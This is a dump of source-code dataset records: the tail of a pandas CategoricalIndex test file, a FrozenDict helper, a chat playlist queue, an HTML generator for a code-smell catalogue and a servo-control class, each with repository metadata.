'bb', 'ccc'], categories=['a', 'bb', 'ccc'], ordered=False, dtype='category', length=300)""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', ... u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc'], categories=[u'a', u'bb', u'ccc'], ordered=False, dtype='category', length=300)""" # noqa assert unicode(idx) == expected # larger categories idx = pd.CategoricalIndex(list('abcdefghijklmmo')) if PY3: expected = u"""CategoricalIndex(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'm', 'o'], categories=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', ...], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'b', u'c', u'd', u'e', u'f', u'g', u'h', u'i', u'j', u'k', u'l', u'm', u'm', u'o'], categories=[u'a', u'b', u'c', u'd', u'e', u'f', u'g', u'h', ...], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # short idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう']) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # multiple lines idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 10) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # truncated idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 100) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', ... 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', ... u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert unicode(idx) == expected # larger categories idx = pd.CategoricalIndex(list(u'あいうえおかきくけこさしすせそ')) if PY3: expected = u"""CategoricalIndex(['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', 'け', 'こ', 'さ', 'し', 'す', 'せ', 'そ'], categories=['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', ...], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', u'け', u'こ', u'さ', u'し', u'す', u'せ', u'そ'], categories=[u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', ...], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # Emable Unicode option ----------------------------------------- with cf.option_context('display.unicode.east_asian_width', True): # short idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう']) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # multiple lines idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 10) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # truncated idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 100) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', ... 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', ... u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert unicode(idx) == expected # larger categories idx = pd.CategoricalIndex(list(u'あいうえおかきくけこさしすせそ')) if PY3: expected = u"""CategoricalIndex(['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', 'け', 'こ', 'さ', 'し', 'す', 'せ', 'そ'], categories=['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', ...], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', u'け', u'こ', u'さ', u'し', u'す', u'せ', u'そ'], categories=[u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', ...], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected def test_fillna_categorical(self): # GH 11343 idx = CategoricalIndex([1.0, np.nan, 3.0, 1.0], name='x') # fill by value in categories exp = CategoricalIndex([1.0, 1.0, 3.0, 1.0], name='x') tm.assert_index_equal(idx.fillna(1.0), exp) # fill by value not in categories raises ValueError with tm.assert_raises_regex(ValueError, 'fill value must be in categories'): idx.fillna(2.0) def test_take_fill_value(self): # GH 12631 # numeric category idx = pd.CategoricalIndex([1, 2, 3], name='xxx') result = idx.take(np.array([1, 0, -1])) expected = pd.CategoricalIndex([2, 1, 3], name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # fill_value result = idx.take(np.array([1, 0, -1]), fill_value=True) expected = pd.CategoricalIndex([2, 1, np.nan], categories=[1, 2, 3], name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # allow_fill=False result = idx.take(np.array([1, 0, -1]), allow_fill=False, fill_value=True) expected = pd.CategoricalIndex([2, 1, 3], name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # object category idx = pd.CategoricalIndex(list('CBA'), categories=list('ABC'), ordered=True, name='xxx') result = idx.take(np.array([1, 0, -1])) expected = pd.CategoricalIndex(list('BCA'), categories=list('ABC'), ordered=True, name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # fill_value result = idx.take(np.array([1, 0, -1]), fill_value=True) expected = pd.CategoricalIndex(['B', 'C', np.nan], categories=list('ABC'), ordered=True, name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # allow_fill=False result = idx.take(np.array([1, 0, -1]), allow_fill=False, fill_value=True) expected = pd.CategoricalIndex(list('BCA'), categories=list('ABC'), ordered=True, name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) msg = ('When allow_fill=True and fill_value is not None, ' 'all indices must be >= -1') with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -2]), fill_value=True) with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -5]), fill_value=True) with pytest.raises(IndexError): idx.take(np.array([1, -5])) def test_take_fill_value_datetime(self): # datetime category idx = pd.DatetimeIndex(['2011-01-01', '2011-02-01', '2011-03-01'], name='xxx') idx = pd.CategoricalIndex(idx) result = idx.take(np.array([1, 0, -1])) expected = pd.DatetimeIndex(['2011-02-01', '2011-01-01', '2011-03-01'], name='xxx') expected = pd.CategoricalIndex(expected) tm.assert_index_equal(result, expected) # fill_value result = idx.take(np.array([1, 0, -1]), fill_value=True) expected = pd.DatetimeIndex(['2011-02-01', '2011-01-01', 'NaT'], name='xxx') exp_cats = pd.DatetimeIndex(['2011-01-01', '2011-02-01', '2011-03-01']) expected = pd.CategoricalIndex(expected, categories=exp_cats) tm.assert_index_equal(result, expected) # allow_fill=False result = idx.take(np.array([1, 0, -1]), allow_fill=False, fill_value=True) expected = pd.DatetimeIndex(['2011-02-01', '2011-01-01', '2011-03-01'], name='xxx') expected = pd.CategoricalIndex(expected) tm.assert_index_equal(result, expected) msg = ('When allow_fill=True and fill_value is not None, ' 'all indices must be >= -1') with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -2]), fill_value=True) with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -5]), fill_value=True) with pytest.raises(IndexError): idx.take(np.array([1, -5])) def test_take_invalid_kwargs(self): idx = pd.CategoricalIndex([1, 2, 3], name='foo') indices = [1, 0, -1] msg = r"take got an unexpected keyword argument 'foo'" tm.assert_raises_regex(TypeError, msg, idx.take, indices, foo=2) msg = "the 'out' parameter is not supported" tm.assert_raises_regex(ValueError, msg, idx.take, indices, out=indices) msg = "the 'mode' parameter is not supported" tm.assert_raises_regex(ValueError, msg, idx.take, indices, mode='clip')

true

f7328ae4cc169670c4d9df3cd477025254fdd601

1,362

py

Python

python/dazl/prim/map.py

DACH-NY/dazl-client

56c8b1be047415b2bcb35b6558de4a780a402458

[ "Apache-2.0" ]

null

python/dazl/prim/map.py

DACH-NY/dazl-client

56c8b1be047415b2bcb35b6558de4a780a402458

[ "Apache-2.0" ]

null

python/dazl/prim/map.py

DACH-NY/dazl-client

56c8b1be047415b2bcb35b6558de4a780a402458

[ "Apache-2.0" ]

null

# Copyright (c) 2017-2022 Digital Asset (Switzerland) GmbH and/or its affiliates. All rights reserved. # SPDX-License-Identifier: Apache-2.0 __all__ = ["FrozenDict", "to_hashable"] class FrozenDict(dict): """ A special subclass of `dict` that is immutable and hashable. Instances of this "dict" can be used as keys in a Python dictionary. """ def __hash__(self): return 0 def __delitem__(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def __setitem__(self, key, value): raise RuntimeError("frozendicts are immutable") def pop(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def popitem(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def setdefault(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def update(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def clear(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def to_hashable(obj): from collections import Collection, Mapping if isinstance(obj, Mapping): return FrozenDict(obj) elif isinstance(obj, str): return obj elif isinstance(obj, Collection): return tuple(obj) else: return obj

27.795918

102

0.666667

__all__ = ["FrozenDict", "to_hashable"] class FrozenDict(dict): def __hash__(self): return 0 def __delitem__(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def __setitem__(self, key, value): raise RuntimeError("frozendicts are immutable") def pop(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def popitem(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def setdefault(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def update(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def clear(self, *args, **kwargs): raise RuntimeError("frozendicts are immutable") def to_hashable(obj): from collections import Collection, Mapping if isinstance(obj, Mapping): return FrozenDict(obj) elif isinstance(obj, str): return obj elif isinstance(obj, Collection): return tuple(obj) else: return obj

true

f7328b27c5d39fc42635191efb78c9f2abcabf91

824

py

Python

core/queue.py

Kaneki1416/kenKaneki

cdd59c18b74d559d277b736e5e536884ce4e9499

[ "MIT" ]

1

2022-01-11T21:59:34.000Z

core/queue.py

Kaneki1416/kenKaneki

cdd59c18b74d559d277b736e5e536884ce4e9499

[ "MIT" ]

1

2022-01-22T14:40:01.000Z

2022-01-22T14:40:59.000Z

core/queue.py

Kaneki1416/kenKaneki

cdd59c18b74d559d277b736e5e536884ce4e9499

[ "MIT" ]

4

2021-11-19T12:45:56.000Z

2022-02-12T03:28:44.000Z

from typing import Dict, List class Playlist: def __init__(self): self.__queue: Dict[int, List[Dict[str, str]]] = {} def insert_one(self, chat_id: int, data: Dict[str, str]): if chat_id not in self.__queue: self.__queue[chat_id] = [data] else: queue = self.__queue[chat_id] queue.extend([data]) def delete_one(self, chat_id: int): return "not_in_queue" if chat_id not in self.__queue else self.__queue[chat_id].pop(0) def delete_chat(self, chat_id: int): if chat_id not in self.__queue: return "not_in_queue" del self.__queue[chat_id] def get_queue(self, chat_id: int): return self.__queue[chat_id][0] @property def playlists(self): return self.__queue playlist = Playlist()

25.75

94

0.618932

from typing import Dict, List class Playlist: def __init__(self): self.__queue: Dict[int, List[Dict[str, str]]] = {} def insert_one(self, chat_id: int, data: Dict[str, str]): if chat_id not in self.__queue: self.__queue[chat_id] = [data] else: queue = self.__queue[chat_id] queue.extend([data]) def delete_one(self, chat_id: int): return "not_in_queue" if chat_id not in self.__queue else self.__queue[chat_id].pop(0) def delete_chat(self, chat_id: int): if chat_id not in self.__queue: return "not_in_queue" del self.__queue[chat_id] def get_queue(self, chat_id: int): return self.__queue[chat_id][0] @property def playlists(self): return self.__queue playlist = Playlist()

true

f7328c285019752a361691904a430d2add9f3a79

7,933

py

Python

smellCatalog/HtmlGenerator.py

neilernst/smells

c093ee72a12f62693d8635359b7ca4958ecba0e0

[ "MIT" ]

null

smellCatalog/HtmlGenerator.py

neilernst/smells

c093ee72a12f62693d8635359b7ca4958ecba0e0

[ "MIT" ]

null

smellCatalog/HtmlGenerator.py

neilernst/smells

c093ee72a12f62693d8635359b7ca4958ecba0e0

[ "MIT" ]

1

2019-07-15T14:16:37.000Z

import os import datetime import FixedText class HtmlGenerator(object): def __init__(self, output_path, smell_list, category_list): self.smell_list = smell_list self.out_path = output_path self.category_list = category_list def generate(self): self.generate_index() self.generate_categories() for smell in self.smell_list: self.generate_html(smell) def generate_categories(self): for cat in self.category_list: self.generate_category(cat) def get_child_categories(self, category): result = [] for cat in self.category_list: if (cat.parent_obj == category): result.append(cat) return result def generate_category(self, category): path = os.path.join(self.out_path, category.id + ".html") self.writeFile(path, FixedText.TOP_TEXT) self.appendFile(path, FixedText.BODY_TOP_PART) self.appendFile(path, FixedText.BODY_INDEX) cat_list = sorted(self.category_list, key=lambda cat: cat.name) for cat in cat_list: if (cat.parent_obj == None): text = "<a href=\"" + cat.id + ".html\" class=\"w3-bar-item w3-button w3-hover-white\">" + cat.name + "</a>" self.appendFile(path, text) self.appendFile(path, FixedText.BODY_LOW_PART) self.appendFile(path, FixedText.BODY_MAIN_TOP) child_categories = self.get_child_categories(category) if (len(child_categories)>0): self.appendFile(path, "<h2>(Sub-)Categories</h2>") self.appendFile(path, "<ul>") for cat in child_categories: sub_text = "<li><a href=\"" + cat.id + ".html\"><h4>" + cat.name + "</h4></a></li>" self.appendFile(path, sub_text) self.appendFile(path, "</ul>") else: self.appendFile(path, "<h2>" + category.name + "</h2>") self.appendFile(path, "<ol>") for smell in self.smell_list: if (smell.category==category.id): smell_text = "<li><a href=\"" + smell.id + ".html\">" + smell.name + "</a></li>" self.appendFile(path, smell_text) self.appendFile(path, "</ol>") self.appendFile(path, "<hr>") self.appendFile(path, "<a href=\"index.html\"><h3>Home</h3></a>") self.appendFile(path, "</div>") self.appendFile(path, FixedText.ATTRIBUTION_TEXT) self.appendFile(path, FixedText.TRACKING_TEXT) self.appendFile(path, FixedText.SOCIAL_TEXT) self.appendFile(path, FixedText.HTML_END_TEXT) def generate_index(self): path = os.path.join(self.out_path, "index.html") self.writeFile(path, FixedText.TOP_TEXT) self.appendFile(path, FixedText.BODY_TOP_PART) self.appendFile(path, FixedText.BODY_INDEX) cat_list = sorted(self.category_list, key=lambda cat: cat.name) for cat in cat_list: if (cat.parent_obj == None): text = "<a href=\"" + cat.id + ".html\" class=\"w3-bar-item w3-button w3-hover-white\">" + cat.name + "</a>" self.appendFile(path, text) self.appendFile(path, FixedText.BODY_LOW_PART) self.appendFile(path, FixedText.BODY_MAIN_TOP) self.appendFile(path, FixedText.INTRO_TEXT) self.appendFile(path, "<ul>") for cat in cat_list: if (cat.parent_obj == None): if(self.total_sub_categories(cat) > 0 ): text = "<li><h4><a href=\"" + cat.id + ".html\">" + cat.name + "</a></h4></li>" else: count = self.get_smell_count_in_category(cat) text = "<li><h4><a href=\"" + cat.id + ".html\">" + cat.name + " (" + str(count) + ")</a></h4></li>" self.appendFile(path, text) self.appendFile(path, "<ul>") for subCat in cat_list: if self.is_sub_category(subCat, cat): count = self.get_smell_count_in_category(subCat) sub_text = "<li><h5><a href=\"" + subCat.id + ".html\">" + subCat.name + " (" + str(count) + ")</a></h5></li>" self.appendFile(path, sub_text) self.appendFile(path, "</ul>") self.appendFile(path, "</ul>") total_text = "<p><b>Total documented smells: " + str(len(self.smell_list)) + "</b></p>" self.appendFile(path, total_text) self.appendFile(path, FixedText.HOW_TEXT) self.appendFile(path, FixedText.ADDITIONAL_TEXT) self.appendFile(path, FixedText.ACKOWLEDGEMENTS) today = datetime.datetime.today() self.appendFile(path, "<hr><p>Last updated: " + str(today.strftime("%B %d, %Y")) + "</p>") self.appendFile(path, "</div>") self.appendFile(path, FixedText.ATTRIBUTION_TEXT) self.appendFile(path, FixedText.TRACKING_TEXT) self.appendFile(path, FixedText.SOCIAL_TEXT) self.appendFile(path, FixedText.HTML_END_TEXT) def writeFile(self, fileName, text): file = os.path.abspath(fileName) with open(file, "w", errors='ignore') as f: f.write(text) def appendFile(self, fileName, text): file = os.path.abspath(fileName) with open(file, "a", errors='ignore') as f: f.write(text) def generate_html(self, smell): path = os.path.join(self.out_path, smell.id + ".html") self.writeFile(path, FixedText.TOP_TEXT) self.appendFile(path, FixedText.BODY_TOP_PART) self.appendFile(path, FixedText.BODY_INDEX) cat_list = sorted(self.category_list, key=lambda cat: cat.name) for cat in cat_list: if (cat.parent_obj == None): text = "<a href=\"" + cat.id + ".html\" class=\"w3-bar-item w3-button w3-hover-white\">" + cat.name + "</a>" self.appendFile(path, text) self.appendFile(path, FixedText.BODY_LOW_PART) self.appendFile(path, FixedText.BODY_MAIN_TOP) smell_name = "<h3>" + smell.name + "</h3>" self.appendFile(path, smell_name) smell_description = "<p>" + smell.description + "</p>" self.appendFile(path, smell_description) if(len(smell.aka_obj_list)>0): aka_text = "<p>Related smells: " for aka in smell.aka_obj_list: aka_text += "<a href=\"" + aka.id + ".html\">" + aka.name + "</a> " aka_text += "</p>" self.appendFile(path, aka_text) if smell.ref_obj != None: self.appendFile(path, "<h4>Reference</h4>") if smell.ref_obj.url == "": self.appendFile(path, "<p>" + smell.ref_obj.text + "</p>") else: self.appendFile(path, "<p><a href=\"" + smell.ref_obj.url + "\">" + smell.ref_obj.text + "</a></p>") self.appendFile(path, "<hr>") self.appendFile(path, "<a href=\"" + smell.category_obj.id + ".html\"><h4>" + smell.category_obj.name + "</h4></a>") self.appendFile(path, "<a href=\"index.html\"><h3>Home</h3></a>") self.appendFile(path, "</div>") self.appendFile(path, FixedText.ATTRIBUTION_TEXT) self.appendFile(path, FixedText.TRACKING_TEXT) self.appendFile(path, FixedText.SOCIAL_TEXT) self.appendFile(path, FixedText.HTML_END_TEXT) def get_smell_count_in_category(self, cat): count = 0 for smell in self.smell_list: if smell.category_obj == cat: count += 1 return count def is_sub_category(self, subCat, cat): if subCat.parent_obj == cat: return True return False def total_sub_categories(self, cat): count = 0 for category in self.category_list: if category.parent_obj == cat: count += 1 return count

46.122093

134

0.576201

import os import datetime import FixedText class HtmlGenerator(object): def __init__(self, output_path, smell_list, category_list): self.smell_list = smell_list self.out_path = output_path self.category_list = category_list def generate(self): self.generate_index() self.generate_categories() for smell in self.smell_list: self.generate_html(smell) def generate_categories(self): for cat in self.category_list: self.generate_category(cat) def get_child_categories(self, category): result = [] for cat in self.category_list: if (cat.parent_obj == category): result.append(cat) return result def generate_category(self, category): path = os.path.join(self.out_path, category.id + ".html") self.writeFile(path, FixedText.TOP_TEXT) self.appendFile(path, FixedText.BODY_TOP_PART) self.appendFile(path, FixedText.BODY_INDEX) cat_list = sorted(self.category_list, key=lambda cat: cat.name) for cat in cat_list: if (cat.parent_obj == None): text = "<a href=\"" + cat.id + ".html\" class=\"w3-bar-item w3-button w3-hover-white\">" + cat.name + "</a>" self.appendFile(path, text) self.appendFile(path, FixedText.BODY_LOW_PART) self.appendFile(path, FixedText.BODY_MAIN_TOP) child_categories = self.get_child_categories(category) if (len(child_categories)>0): self.appendFile(path, "<h2>(Sub-)Categories</h2>") self.appendFile(path, "<ul>") for cat in child_categories: sub_text = "<li><a href=\"" + cat.id + ".html\"><h4>" + cat.name + "</h4></a></li>" self.appendFile(path, sub_text) self.appendFile(path, "</ul>") else: self.appendFile(path, "<h2>" + category.name + "</h2>") self.appendFile(path, "<ol>") for smell in self.smell_list: if (smell.category==category.id): smell_text = "<li><a href=\"" + smell.id + ".html\">" + smell.name + "</a></li>" self.appendFile(path, smell_text) self.appendFile(path, "</ol>") self.appendFile(path, "<hr>") self.appendFile(path, "<a href=\"index.html\"><h3>Home</h3></a>") self.appendFile(path, "</div>") self.appendFile(path, FixedText.ATTRIBUTION_TEXT) self.appendFile(path, FixedText.TRACKING_TEXT) self.appendFile(path, FixedText.SOCIAL_TEXT) self.appendFile(path, FixedText.HTML_END_TEXT) def generate_index(self): path = os.path.join(self.out_path, "index.html") self.writeFile(path, FixedText.TOP_TEXT) self.appendFile(path, FixedText.BODY_TOP_PART) self.appendFile(path, FixedText.BODY_INDEX) cat_list = sorted(self.category_list, key=lambda cat: cat.name) for cat in cat_list: if (cat.parent_obj == None): text = "<a href=\"" + cat.id + ".html\" class=\"w3-bar-item w3-button w3-hover-white\">" + cat.name + "</a>" self.appendFile(path, text) self.appendFile(path, FixedText.BODY_LOW_PART) self.appendFile(path, FixedText.BODY_MAIN_TOP) self.appendFile(path, FixedText.INTRO_TEXT) self.appendFile(path, "<ul>") for cat in cat_list: if (cat.parent_obj == None): if(self.total_sub_categories(cat) > 0 ): text = "<li><h4><a href=\"" + cat.id + ".html\">" + cat.name + "</a></h4></li>" else: count = self.get_smell_count_in_category(cat) text = "<li><h4><a href=\"" + cat.id + ".html\">" + cat.name + " (" + str(count) + ")</a></h4></li>" self.appendFile(path, text) self.appendFile(path, "<ul>") for subCat in cat_list: if self.is_sub_category(subCat, cat): count = self.get_smell_count_in_category(subCat) sub_text = "<li><h5><a href=\"" + subCat.id + ".html\">" + subCat.name + " (" + str(count) + ")</a></h5></li>" self.appendFile(path, sub_text) self.appendFile(path, "</ul>") self.appendFile(path, "</ul>") total_text = "<p><b>Total documented smells: " + str(len(self.smell_list)) + "</b></p>" self.appendFile(path, total_text) self.appendFile(path, FixedText.HOW_TEXT) self.appendFile(path, FixedText.ADDITIONAL_TEXT) self.appendFile(path, FixedText.ACKOWLEDGEMENTS) today = datetime.datetime.today() self.appendFile(path, "<hr><p>Last updated: " + str(today.strftime("%B %d, %Y")) + "</p>") self.appendFile(path, "</div>") self.appendFile(path, FixedText.ATTRIBUTION_TEXT) self.appendFile(path, FixedText.TRACKING_TEXT) self.appendFile(path, FixedText.SOCIAL_TEXT) self.appendFile(path, FixedText.HTML_END_TEXT) def writeFile(self, fileName, text): file = os.path.abspath(fileName) with open(file, "w", errors='ignore') as f: f.write(text) def appendFile(self, fileName, text): file = os.path.abspath(fileName) with open(file, "a", errors='ignore') as f: f.write(text) def generate_html(self, smell): path = os.path.join(self.out_path, smell.id + ".html") self.writeFile(path, FixedText.TOP_TEXT) self.appendFile(path, FixedText.BODY_TOP_PART) self.appendFile(path, FixedText.BODY_INDEX) cat_list = sorted(self.category_list, key=lambda cat: cat.name) for cat in cat_list: if (cat.parent_obj == None): text = "<a href=\"" + cat.id + ".html\" class=\"w3-bar-item w3-button w3-hover-white\">" + cat.name + "</a>" self.appendFile(path, text) self.appendFile(path, FixedText.BODY_LOW_PART) self.appendFile(path, FixedText.BODY_MAIN_TOP) smell_name = "<h3>" + smell.name + "</h3>" self.appendFile(path, smell_name) smell_description = "<p>" + smell.description + "</p>" self.appendFile(path, smell_description) if(len(smell.aka_obj_list)>0): aka_text = "<p>Related smells: " for aka in smell.aka_obj_list: aka_text += "<a href=\"" + aka.id + ".html\">" + aka.name + "</a> " aka_text += "</p>" self.appendFile(path, aka_text) if smell.ref_obj != None: self.appendFile(path, "<h4>Reference</h4>") if smell.ref_obj.url == "": self.appendFile(path, "<p>" + smell.ref_obj.text + "</p>") else: self.appendFile(path, "<p><a href=\"" + smell.ref_obj.url + "\">" + smell.ref_obj.text + "</a></p>") self.appendFile(path, "<hr>") self.appendFile(path, "<a href=\"" + smell.category_obj.id + ".html\"><h4>" + smell.category_obj.name + "</h4></a>") self.appendFile(path, "<a href=\"index.html\"><h3>Home</h3></a>") self.appendFile(path, "</div>") self.appendFile(path, FixedText.ATTRIBUTION_TEXT) self.appendFile(path, FixedText.TRACKING_TEXT) self.appendFile(path, FixedText.SOCIAL_TEXT) self.appendFile(path, FixedText.HTML_END_TEXT) def get_smell_count_in_category(self, cat): count = 0 for smell in self.smell_list: if smell.category_obj == cat: count += 1 return count def is_sub_category(self, subCat, cat): if subCat.parent_obj == cat: return True return False def total_sub_categories(self, cat): count = 0 for category in self.category_list: if category.parent_obj == cat: count += 1 return count

true

f7328d27708be173337c84cd136370e78d9f3791

1,827

py

Python

controller/test5_hw_test/rotate_axis.py

drummonds/od-robot

a74954aefecb49654686dc0539ea23cb915c6f4d

[ "MIT" ]

null

controller/test5_hw_test/rotate_axis.py

drummonds/od-robot

a74954aefecb49654686dc0539ea23cb915c6f4d

[ "MIT" ]

null

controller/test5_hw_test/rotate_axis.py

drummonds/od-robot

a74954aefecb49654686dc0539ea23cb915c6f4d

[ "MIT" ]

null

from machine import Pin, PWM import pycom import time class Rotate: # Servo to fixed position def __init__(self, pwm): # Assum 50ms timer already set up and going to reuse self.pwm = pwm self.is_active = False self.at_position = 50 def run(self): pass def state_text(self): return 'Rotate position = {}'.format(self.at_position) def activate(self, start_dc=0.15): # May not be switched on if not self.is_active: self.is_active = True self.pwm_c = self.pwm.channel(2, pin='G13', duty_cycle=start_dc) def set_position(self, position): # Converts to 1 -2 ms pulses self.at_position = position # speed in % dc = (position / 100.0) * (1/20) + (1/20) self.activate(start_dc=dc) self.pwm_c.duty_cycle(dc) return dc def wait_set_position(self, position): """Rotates and waits until rotate gets there. Guess time from assuming a constant rotation speed""" full_rotate_time = 3000 # ms # Estiamte on rotation at full speed time_estimate = full_rotate_time * abs(self.at_position - position) / 100 # Allow for creep which can take a minimum time if self.at_position - position != 0: time_estimate = min(int(time_estimate), 1500) self.set_position(position) time.sleep_ms(int(time_estimate)) def shutdown(self): # Ideally won't move servo self.pwm_off = Pin('G13', mode=Pin.IN, pull=Pin.PULL_UP) self.is_active = False def in_bin(self): self.wait_set_position(86) def out_bin(self): self.wait_set_position(12) # min diff seems to be 2 self.wait_set_position(14) def dvd(self): self.wait_set_position(50)

30.966102

81

0.621237

from machine import Pin, PWM import pycom import time class Rotate: def __init__(self, pwm): self.pwm = pwm self.is_active = False self.at_position = 50 def run(self): pass def state_text(self): return 'Rotate position = {}'.format(self.at_position) def activate(self, start_dc=0.15): if not self.is_active: self.is_active = True self.pwm_c = self.pwm.channel(2, pin='G13', duty_cycle=start_dc) def set_position(self, position): self.at_position = position dc = (position / 100.0) * (1/20) + (1/20) self.activate(start_dc=dc) self.pwm_c.duty_cycle(dc) return dc def wait_set_position(self, position): full_rotate_time = 3000 time_estimate = full_rotate_time * abs(self.at_position - position) / 100 if self.at_position - position != 0: time_estimate = min(int(time_estimate), 1500) self.set_position(position) time.sleep_ms(int(time_estimate)) def shutdown(self): self.pwm_off = Pin('G13', mode=Pin.IN, pull=Pin.PULL_UP) self.is_active = False def in_bin(self): self.wait_set_position(86) def out_bin(self): self.wait_set_position(12) # min diff seems to be 2 self.wait_set_position(14) def dvd(self): self.wait_set_position(50)

true

f7328dcbb442c75712e43ef7b1e1e4a6045a4a4e

18,431

py

Python

megatron/checkpointing.py

adammoody/Megatron-DeepSpeed

972211163608818fe9e5ba821246f18d0a5dc264

[ "MIT" ]

null

